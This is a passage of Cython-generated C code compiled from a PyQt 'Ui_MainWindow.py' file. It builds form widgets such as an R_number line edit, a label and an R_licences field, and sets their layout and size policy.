(unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":288 * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") # <<<<<<<<<<<<<< * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__172, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":289 * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") * self.R_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.R_number.setObjectName("R_number") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 289, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 289, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__173, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 289, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":290 * self.R_number.setText("") * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") # <<<<<<<<<<<<<< * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__174, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":291 * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) # <<<<<<<<<<<<<< * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_4.setObjectName("label_4") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_22, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_22, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_22); __Pyx_GIVEREF(__pyx_int_22); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_int_22); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 2+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":292 * self.R_number.setObjectName("R_number") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_4.setObjectName("label_4") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_4, __pyx_t_3) < 0) __PYX_ERR(0, 292, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":293 * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_4.setObjectName("label_4") # <<<<<<<<<<<<<< * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 293, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 293, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__175, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 293, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":294 * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_4.setObjectName("label_4") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) # <<<<<<<<<<<<<< * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_23, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_23, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_23); __Pyx_GIVEREF(__pyx_int_23); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_23); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_4); __pyx_t_7 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":295 * self.label_4.setObjectName("label_4") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_licences, __pyx_t_3) < 0) __PYX_ERR(0, 295, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":296 * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_2); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if 